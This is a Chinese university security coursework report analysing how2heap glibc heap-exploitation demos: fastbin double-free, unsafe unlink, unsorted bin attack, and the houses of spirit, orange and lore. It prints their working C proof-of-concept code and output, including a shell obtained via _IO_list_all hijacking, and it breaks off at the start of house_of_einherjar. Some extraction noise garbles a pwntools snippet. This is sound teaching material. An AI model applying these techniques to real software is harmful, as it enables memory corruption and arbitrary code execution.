

软件安全与漏洞分析 大作业

LIU Jin
15180110082
liujin.xdu@pm.me

YANG Chao
15180110110
firmianay@gmail.com

LI Yiding
15180120028
drimtuer@gmail.com

WANG Xu
15130120190
codeklaus@gmail.com

June 10, 2018

目录

1	引言	3
2	how2heap 分析	4
2.1	first_fit	4
2.2	fastbin_dup	5
2.3	fastbin_dup_into_stack	6
2.4	unsafe_unlink	7
2.5	unsorted_bin_attack	11
2.6	house_of_spirit	11
2.7	house_of_orange	12
2.8	house_of_lore	14
2.9	house_of_einherjar	16
2.10	house_of_force	17
2.11	poison_null_byte	19
2.12	overlapping_chunks	20
2.13	overlapping_chunks_2	22
3	ptmalloc 分析	24
3.1	unsafe_unlink	24
3.2	house_of_spirit	25
3.3	house_of_lore	26
3.4	house_of_einherjar	28
3.5	house_of_orange	28
3.6	house_of_force	31
3.7	poison_null_byte	31
3.8	unsorted_bin_attack	33
3.9	unsorted_bin_into_stack	35
3.10	fastbin_dup	36
3.11	fastbin_dup_into_stack	36
3.12	overlapping_chunks	36
3.13	overlapping_chunks_2	36
4	jemalloc 分析	37
4.1	jemalloc 的介绍	37
4.2	unsafe_unlink	37
4.3	house_of_spirit	38
4.4	house_of_lore	38
4.5	house_of_einherjar	38
4.6	house_of_orange	38
4.7	house_of_force	38
4.8	poison_null_byte	38
4.9	unsorted_bin_attack	38
4.10	unsorted_bin_into_stack	38
4.11	fastbin_dup	38
4.12	fastbin_dup_into_stack	38
4.13	overlapping_chunks	38
4.14	overlapping_chunks_2	38
5	遇到的坑	39
5.1	jemalloc 的安装	39
5.2	在 Ubuntu 16.04 下使用高版本 Glibc	39

1 引言

L^AT_EX 真好用。

首先，我们在 glibc 版本是 2.23 的 Ubuntu 系统上编译了 `how2heap` 中的案例，分析了 `how2heap` 中的堆利用手段，然后分别在 Glibc-2.27 版本和 jemalloc-5.0.1 版本中分析了上述攻击手段成功或失败的原因，最后列举了一下在写大作业中的坑。

这部分内容前前后后写了一个月，于是就老老实实当了一个多月的 ptmalloc 拳击手。

2 how2heap 分析

堆是程序虚拟地址空间中一块连续的区域，与栈不同，由低地址向高地址增长，且由操作系统进行维护。编译 how2heap 的机器libc 版本如下：

```
$ file /lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1
↳ (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
↳ BuildID[sha1]=b5381a457906d279073822a5ceb24c4bfef94ddb, for GNU/Linux 2.6.32, stripped
```

2.1 first_fit

源代码如下：

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of
↳ glibc's allocator.\n");
    fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
    fprintf(stderr, "If a chunk is free and large enough, malloc will select this
↳ chunk.\n");
    fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

    fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
    char* a = malloc(512);
    char* b = malloc(256);
    char* c;

    fprintf(stderr, "1st malloc(512): %p\n", a);
    fprintf(stderr, "2nd malloc(256): %p\n", b);
    fprintf(stderr, "we could continue mallocing here...\n");
    fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
    strcpy(a, "this is A!");
    fprintf(stderr, "first allocation %p points to %s\n", a, a);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "We don't need to free anything again. As long as we allocate less than
↳ 512, it will end up at %p\n", a);

    fprintf(stderr, "So, let's allocate 500 bytes\n");
    c = malloc(500);
    fprintf(stderr, "3rd malloc(500): %p\n", c);
    fprintf(stderr, "And put a different string here, \"this is C!\"\n");
    strcpy(c, "this is C!");
    fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
    fprintf(stderr, "first allocation %p points to %s\n", a, a);
    fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third
↳ allocation.");
}
```

运行之，结果如下：

```
$ how2heap git:(master) ./first_fit
```

```
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(512): 0x1768010
2nd malloc(256): 0x1768220
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x1768010 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate less than 512, it will end up
↪ at 0x1768010
So, let's allocate 500 bytes
3rd malloc(500): 0x1768010
And put a different string here, "this is C!"
3rd allocation 0x1768010 points to this is C!
first allocation 0x1768010 points to this is C!
```

这里，第一个程序展示了 glibc 堆分配的策略，即 first-fit。在分配内存时，malloc 会先到 unsorted bin (或者 fastbins) 中查找适合的被 free 的 chunk，如果没有，就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中，然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同，即 malloc 找到了第一次 free 掉的 chunk，并把它重新分配。

2.2 fastbin_dup

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the\n",
        ↪ free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free\n",
        ↪ list.\n", a);
    free(a);
```

```

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get
↪ %p twice!\n", a, b, a, a);
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}

```

运行得到结果：

```
$ how2heap git:(master) ./fastbin_dup
```

This file demonstrates a simple double-free attack with fastbins.

Allocating 3 buffers.

1st malloc(8): 0xb3b010

2nd malloc(8): 0xb3b030

3rd malloc(8): 0xb3b050

Freeing the first one...

If we free 0xb3b010 again, things will crash because 0xb3b010 is at the top of the free
↪ list.

So, instead, we'll free 0xb3b030.

Now, we can free 0xb3b010 again, since it's not the head of the free list.

Now the free list has [0xb3b010, 0xb3b030, 0xb3b010]. If we malloc 3 times, we'll get
↪ 0xb3b010 twice!

1st malloc(8): 0xb3b010

2nd malloc(8): 0xb3b030

3rd malloc(8): 0xb3b010

这个程序展示了利用 fastbins 的 double-free 攻击，可以泄漏出一块已经被分配的内存指针 fastbins 可以看成是一个后进先出的栈，使用单链表实现，通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查，我们不能连续两次 free 同一个 chunk，所以这里在两次 free 之间，增加了一次对其他 chunk 的 free 过程，从而绕过检查顺利执行。然后再 malloc 三次，就在同一个地址 malloc 了两次，也就有了两个指向同一块内存区域的指针。

2.3 fastbin_dup_into_stack

```

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
        "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char
        ↪ *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
}

```

```

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the
↪ free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free
↪ list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
    "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free
↪ list.\n"
    "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
    "so that malloc will think there is a free chunk there and agree to\n"
    "return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right
↪ before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n",
    ↪ malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

```

首先，我们在 `malloc.c` 中可以找到 `malloc_chunk` 的定义如下：

```

struct malloc_chunk {
    INTERNAL_SIZE_T    prev_size; /* Size of previous chunk (if free). */
    INTERNAL_SIZE_T    size;      /* Size in bytes, including overhead. */

    struct malloc_chunk* fd;       /* double links -- used only if free. */
    struct malloc_chunk* bk;

};

```

上面这个程序展示了怎样通过修改 `fd` 指针，将其指向一个伪造的 `free chunk`，在伪造的地址处 `malloc` 出一个 `chunk`。该程序大部分内容都和上一个程序一样，漏洞也同样是 `double-free`，只有给 `fd` 填充的内容不一样。

2.4 unsafe_unlink

```

#include <stdio.h>
#include <stdlib.h>

```

```

#include <string.h>
#include <stdint.h>

uint64_t *chunk0_ptr;

int main() {
    int malloc_size = 0x80; // not fastbins
    int header_size = 2;

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr,
        ↪ chunk0_ptr);
    fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    // pass this check: (P->fd->bk != P || P->bk->fd != P) == False
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
    // pass this check: (chunksz(P) != prev_size (next_chunk(P)) == False
    // chunk0_ptr[1] = 0x0; // or 0x8, 0x80

    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &= ~1;

    // deal with tcache
    // int *a[10];
    // int i;
    // for (i = 0; i < 7; i++) {
    //     a[i] = malloc(0x80);
    // }
    // for (i = 0; i < 7; i++) {
    //     free(a[i]);
    // }
    free(chunk1_ptr);

    char victim_string[9];
    strcpy(victim_string, "AAAAAAA");
    chunk0_ptr[3] = (uint64_t) victim_string;
    fprintf(stderr, "Original value: %s\n", victim_string);

    chunk0_ptr[0] = 0x4242424242424242LL;
    fprintf(stderr, "New Value: %s\n", victim_string);
}

```

上面这个程序展示了怎样利用 `free` 改写全局指针 `chunk0_ptr` 达到任意内存写的目的,即 `unsafe unlink`。我们可以 Google 搜索到 `unlink` 函数的具体实现:

```

#define unlink( P, BK, FD ) {
    BK = P->bk;
    FD = P->fd;
    FD->bk = BK;
    BK->fd = FD;
}

```

但是这个 `unlink` 的实现属于旧版本的 `glibc`, 我们编译器上的 `glibc` 中的 `unlink` 的实现如下, 增加

了一些对 `unsafe unlink` 的检查，也是我们需要绕过的检查：

```

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr(check_action,
        ↪ "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
                malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV);
            if (FD->fd_nextsize == NULL) {
                FD->fd_nextsize = FD->bk_nextsize = FD;
            } else {
                FD->fd_nextsize = P->fd_nextsize;
                FD->bk_nextsize = P->bk_nextsize;
                P->fd_nextsize->bk_nextsize = FD;
                P->bk_nextsize->fd_nextsize = FD;
            }
        } else {
            P->fd_nextsize->bk_nextsize = P->bk_nextsize;
            P->bk_nextsize->fd_nextsize = P->fd_nextsize;
        }
    }
}
}

```

编译并运行：

```

$ gcc -g unsafe_unlink.c
$ ./a.out
The global chunk0_ptr is at 0x601070, pointing to 0x721010
The victim chunk we are going to corrupt is at 0x7210a0

Fake chunk fd: 0x601058
Fake chunk bk: 0x601060

Original value: AAAAAAAA
New Value: BBBBBBBB

```

上述代码中，使用 `int malloc_size = 0x80`；的目的在于不使用操作系统分配的 `fastbins`，而去申请使用 `small bins`，然后，我们使 `header_size` 的大小为 2。接着，我们申请两块空间，全局指针 `chunk0_ptr` 指向堆块 `chunk0`，局部指针 `chunk1_ptr` 指向 `chunk1`。

如果我们想要绕过 `(P->fd->bk != P || P->bk->fd != P) == False`；的检查，但是这个检查有个缺陷，就是 `fd/bk` 指针都是通过与 `chunk` 头部的相对地址来查找的。所以我们可以利用全局指针 `chunk0_ptr` 构造一个 fake `chunk` 来绕过它。

我们在 `chunk0` 里构造一个 fake `chunk`，用 `P` 表示，两个指针 `fd` 和 `bk` 可以构成两条链：`P->fd->bk == P, P->bk->fd == P`；，可以绕过检查。另外利用 `chunk0` 的溢出漏洞，通过修改 `chunk1` 的 `prev_size` 为 fake `chunk` 的大小，修改 `PREV_INUSE` 标志位为 0，将 fake `chunk` 伪造成一个 free `chunk`。

接下来就是释放掉 `chunk1`，这会触发 fake `chunk` 的 `unlink` 并覆盖 `chunk0_ptr` 的值。

由于 `unlink` 的操作是：

```

FD = P->fd;
BK = P->bk;

```

```
FD->bk = BK
BK->fd = FD
```

由于这时候 `P->fd->bk` 和 `P->bk->fd` 都指向 `P`，所以最后的结果为：

```
chunk0_ptr = P = P->fd;
```

因此我们利用 `ublink` 成功的修改了 `chunk0_ptr`，即这时 `chunk0_ptr[0]` 和 `chunk0_ptr[3]` 实际上就是同一东西。所以我们修改 `chunk0_ptr[3]` 实际上就是在修改 `chunk0_ptr[0]`。

```
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "Original value: %s\n", victim_string);
chunk0_ptr[0] = 0x4242424242424242LL;
fprintf(stderr, "New Value: %s\n", victim_string);
```

此时，`chunk0_ptr` 指向了 `victim_string`，因此，我们修改 `chunk0_ptr[3]`，就可以修改 `victim_string`。通过上述演示，我们成功的利用 `unsafe_unlink` 做到了修改任意地址，但是上述演示仅在老版本的 `glibc` (版本小于等于 2.26) 中可以演示成功，因为新版本的 `glibc` 中添加了对单字节溢出问题的检查：

```
chunk_size == next-> prev-> chunk_size;
```

，以及新增加的 `tcache` 机制：

```
#if USE_TCACHE
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */
# define TCACHE_MAX_BINS 64
# define MAX_TCACHE_SIZE tid2usize (TCACHE_MAX_BINS-1)

/* Only used to pre-fill the tunables. */
# define tid2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)

/* When "x" is from chunksize(). */
# define csize2tid(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size. */
# define usize2tid(x) csize2tid (request2size (x))

/* With rounding and alignment, the bins are...
   idx 0   bytes 0..24 (64-bit) or 0..12 (32-bit)
   idx 1   bytes 25..40 or 13..20
   idx 2   bytes 41..56 or 21..28
   etc. */

/* This is another arbitrary limit, which tunables can change. Each
   tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
#endif
```

有关 `tcache` 机制的代码可以在这个网站¹中查看更多。

`tcache` 机制是一种线程缓存机制，每个线程默认情况下有 64 个大小递增的 bins，每个 bin 是一个单链表，默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的，所以在释放 chunk 1 的时候，`chunk0_ptr` 仍然指向正确的堆地址，而不是 `chunk0_ptr = P = P->fd`。对于如何在代码中绕过 `tcache` 机制，仍然有很多可行的办法，其中一种是，我们可以在源程序的代码中添加一些代码，给填充进特定大小的 chunk 把 bin 占满，然后就能绕过 `tcache` 机制，在高版本 `glibc` 中实现和老版本相同的效果。

¹<https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d5c3f4fc4307c9b7a4c7d5cb381fcd9fad340bcc>

2.5 unsorted_bin_attack

```
#include <stdio.h>
#include <stdlib.h>

int main() {
    unsigned long stack_var = 0;
    fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var,
        ↪ stack_var);

    unsigned long *p = malloc(0x80);
    unsigned long *p1 = malloc(0x10);
    fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n", p);

    free(p);
    fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n",
        ↪ (void*)p[1]);

    p[1] = (unsigned long>(&stack_var - 2);
    fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);

    malloc(0x80);
    fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n",
        ↪ &stack_var, (void*)stack_var);
}
```

编译运行之，得到结果：

```
$ gcc -g unsorted_bin_attack.c
$ ./a.out
The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0

Now, we allocate first small chunk on the heap at: 0x1066010
We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
We write it with the target address-0x10: 0x7ffc9b1d61a0

Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78
```

unsorted_bin_attack 通常情况下是为了更进一步的利用所做的铺垫, 我们已经知道 unsorted bin 是一个双向链表, 在分配时会通过 unlink 操作将 chunk 从链表中移除, 所以如果能够控制 unsorted bin chunk 的 bk 指针, 就可以向任意位置写入一个指针。

这里通过 unlink 将 libc 的信息写入到我们可控的内存中, 从而导致信息泄漏, 为进一步的攻击提供便利, 如泄露了 libc 的某些函数的地址, 如果我们通过其他方式获取到了 libc 的版本信息, 就可以通过偏移算出其他函数的地址, 可以绕过 ASLR 的保护。

2.6 house_of_spirit

```
#include <stdio.h>
#include <stdlib.h>

int main() {
    malloc(1);

    fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This
        ↪ region contains two chunks.\n");
    unsigned long long *a, *b;
```

```

unsigned long long fake_chunks[10] __attribute__((aligned(16)));

fprintf(stderr, "The first one: %p\n", &fake_chunks[0]);
fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);

fake_chunks[1] = 0x20; // the size
fake_chunks[5] = 0x1234; // nextsize

fake_chunks[2] = 0x4141414141414141LL;
fake_chunks[6] = 0x4141414141414141LL;

fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the
↪ fake first chunk, %p.\n", &fake_chunks[0]);
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p,
↪ which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
b = malloc(0x10);
fprintf(stderr, "malloc(0x10): %p\n", b);
b[0] = 0x4242424242424242LL;
}

```

编译运行之，结果如下：

```

$ gcc -g house_of_spirit.c
$ ./a.out
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two
↪ chunks.
The first one: 0x7ffc782dae00
The second one: 0x7ffc782dae20
Overwritting our pointer with the address of the fake region inside the fake first chunk,
↪ 0x7ffc782dae00.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will
↪ be 0x7ffc782dae10!
malloc(0x10): 0x7ffc782dae10

```

house-of-spirit 是一种对 fastbins 的攻击方法，即通过构造 fake chunk，然后将其 free 掉，就可以在下次 malloc 时返回 fake chunk 的地址，即一段我们可控的区域。其中，使用 house-of-spirit 技术的条件一是要使 free 的参数可控，以便指向我们想要控制的地址，其二是想要控制的地址我们应有写权限，以便提前伪造 fake chunk。另外，这种攻击手段既可以利用堆溢出搞事情，也可以利用栈溢出搞事情。

具体的使用流程是，先在想要控制的地址上连续伪造 chunk，由于堆的检查机制，我们需要连续伪造两个 chunk，比如利用如下 Python 代码²：

```
132(0x0)+132(41)+'AAAA'*8 +132(0x0)+132(41)
```

然后，我们控制 free 的参数，指向我们伪造的 chunk 地址，如果我们此时再次 free，就可以控制之前伪造 chunk 的内存了。

2.7 house_of_orange

```

#include <stdio.h>
#include <stdlib.h>

```

²Python 代码中的函数为 Python 的漏洞利用框架 pwntools 中的函数，可访问官网：<https://github.com/Gallopsled/pwntools>

```

#include <string.h>
int winner (char *ptr);
int main() {
    char *p1, *p2;
    size_t io_list_all, *top;

    p1 = malloc(0x400 - 0x10);

    top = (size_t *) ((char *) p1 + 0x400 - 0x10);
    top[1] = 0xc01;

    p2 = malloc(0x1000);
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;

    memcpy((char *) top, "/bin/sh\x00", 8);

    top[1] = 0x61;

    _IO_FILE *fp = (_IO_FILE *) top;
    fp->_mode = 0; // top+0xc0
    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

    malloc(1);
    return 0;
}

int winner(char *ptr) {
    system(ptr);
    return 0;
}

```

编译运行之，得到：

```

$ gcc house_of_orange -o house_of_orange
$ ./house_of_orange
*** Error in `./house_of_orange': malloc(): memory corruption: 0x00007f82acdf5520 ***
===== Backtrace: =====
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f82acaa77e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f82acab213e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f82acab4184]
./house_of_orange[0x4006cc]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f82aca50830]
./house_of_orange[0x400509]
===== Memory map: =====
00400000-00401000 r-xp 00000000 00:00 39375
↪ /mnt/c/Users/SKYE/Desktop/how2heap/house_of_orange
00600000-00601000 r--p 00000000 00:00 39375
↪ /mnt/c/Users/SKYE/Desktop/how2heap/house_of_orange
00601000-00602000 rw-p 00001000 00:00 39375
↪ /mnt/c/Users/SKYE/Desktop/how2heap/house_of_orange
01c98000-01cdb000 rw-p 00000000 00:00 0 [heap]
7f82a8000000-7f82a8021000 rw-p 00000000 00:00 0
7f82a8021000-7f82ac000000 ---p 00000000 00:00 0
7f82ac810000-7f82ac826000 r-xp 00000000 00:00 208780 /lib/x86_64-linux-gnu/libgcc_s.so.1

```

```

7f82ac826000-7f82aca25000 ---p 00000016 00:00 208780 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f82aca25000-7f82aca26000 rw-p 00015000 00:00 208780 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f82aca30000-7f82acbf0000 r-xp 00000000 00:00 85962 /lib/x86_64-linux-gnu/libc-2.23.so
7f82acbf0000-7f82acbf9000 ---p 001c0000 00:00 85962 /lib/x86_64-linux-gnu/libc-2.23.so
7f82acbf9000-7f82acdf0000 ---p 000001c9 00:00 85962 /lib/x86_64-linux-gnu/libc-2.23.so
7f82acdf0000-7f82acdf4000 r--p 001c0000 00:00 85962 /lib/x86_64-linux-gnu/libc-2.23.so
7f82acdf4000-7f82acdf6000 rw-p 001c4000 00:00 85962 /lib/x86_64-linux-gnu/libc-2.23.so
7f82acdf6000-7f82acdfa000 rw-p 00000000 00:00 0
7f82ace00000-7f82ace25000 r-xp 00000000 00:00 85960 /lib/x86_64-linux-gnu/ld-2.23.so
7f82ace25000-7f82ace26000 r-xp 00025000 00:00 85960 /lib/x86_64-linux-gnu/ld-2.23.so
7f82ad025000-7f82ad026000 r--p 00025000 00:00 85960 /lib/x86_64-linux-gnu/ld-2.23.so
7f82ad026000-7f82ad027000 rw-p 00026000 00:00 85960 /lib/x86_64-linux-gnu/ld-2.23.so
7f82ad027000-7f82ad028000 rw-p 00000000 00:00 0
7f82ad200000-7f82ad201000 rw-p 00000000 00:00 0
7f82ad210000-7f82ad211000 rw-p 00000000 00:00 0
7f82ad220000-7f82ad221000 rw-p 00000000 00:00 0
7f82ad230000-7f82ad231000 rw-p 00000000 00:00 0
7ffffe362000-7ffffeb62000 rw-p 00000000 00:00 0 [stack]
7ffffef2a7000-7ffffef2a8000 r-xp 00000000 00:00 0 [vdso]
$ whoami
skye
$ exit
[1] 69 abort (core dumped) ./house_of_orange

```

house_of_oranges 是一种堆溢出修改 `_IO_list_all` 指针的利用方法。我们可以利用这个方法来泄露堆信息和 libc 的相关信息。我们已经知道，但程序还未申请内存时，整个堆块都属于 top chunk，每次申请内存时，操作系统就从 top chunk 中划出请求大小的堆块返回给用户，于是 top chunk 就会越来越小。

这时候，如果我们再次申请内存，但是 top chunk 的剩余大小已经不能满足请求，此时操作系统调用 `symalloc()` 函数分配新的堆空间，这时候有两种选择，一种是直接扩充 top chunk，另一种是调用 `mmap()` 分配一块新的 top chunk。

`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象，我们的目的就是将其 `_IO_list_all` 指针改写为一个伪造的指针，它的 `_IO_OVERFLOW` 指向 system，并且前 8 字节被设置为 `"/bin/sh"`，所以对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system("/bin/sh")` 的调用。

2.8 house_of_lore

```

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main() {
    intptr_t *victim = malloc(0x80);
    memset(victim, 'A', 0x80);
    void *p5 = malloc(0x10);
    memset(p5, 'A', 0x10);
    intptr_t *victim_chunk = victim - 2;
    fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);

    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[3] = {0};
    stack_buffer_1[0] = 0;
    stack_buffer_1[2] = victim_chunk;
    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
    fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
    fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
}

```

```

free((void*)victim);
fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted
    ↪ bin\n", victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

void *p2 = malloc(0x100);
fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the
    ↪ SmallBin: %p\n", p2);
fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n",
    ↪ victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

victim[1] = (intptr_t)stack_buffer_1;
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk
    ↪ pointer\n");

void *p3 = malloc(0x40);
char *p4 = malloc(0x80);
memset(p4, 'A', 0x10);
fprintf(stderr, "This last malloc should return a chunk at the position injected in
    ↪ bin->bk: %p\n", p4);
fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n",
    ↪ stack_buffer_2[2]);

intptr_t sc = (intptr_t)jackpot;
memcpy((p4+40), &sc, 8);
}

```

编译，运行得到结果：

```

$ gcc -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x1b2e010
stack_buffer_1: 0x7ffe5c570350
stack_buffer_2: 0x7ffe5c570330

Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin
victim->fd: 0x7f239d4c9b78
victim->bk: 0x7f239d4c9b78

Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0
The victim chunk 0x1b2e010 will be inserted in front of the SmallBin
victim->fd: 0x7f239d4c9bf8
victim->bk: 0x7f239d4c9bf8

Now emulating a vulnerability that can overwrite the victim->bk pointer
This last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360
The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8

Nice jump d00d

```

the_house_of_lore 的原理是通过破坏已经放入 small bins 中的 bk 指针来达到取得任意地址的目的。当程序申请的内存大小符合 small bins，则堆管理器在对应的 bin 中寻找是否有大小符合且空闲的块，如果有，那么进行 unlink 操作，将内存交给程序。

那么, 当一个块存在于 Small Bin 的第一个块时, 通过溢出修改其 `bk` 指针指向某个地址 `ptr`, 当下一次进行 `malloc` 对应大小的块时, 就有 `bck = victim->bk = ptr`, 且 `bin->bk = bck = ptr`, 这样以来就成功地将这个 `bin` 的第一块指向了 `ptr`, 下次再 `malloc` 对应大小就能够返回 `ptr+16` 的位置, 这样攻击者再对取回的块进行写入就能控制 `ptr+16` 的内存内容。

2.9 house_of_einherjar

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main() {
    uint8_t *a, *b, *d;
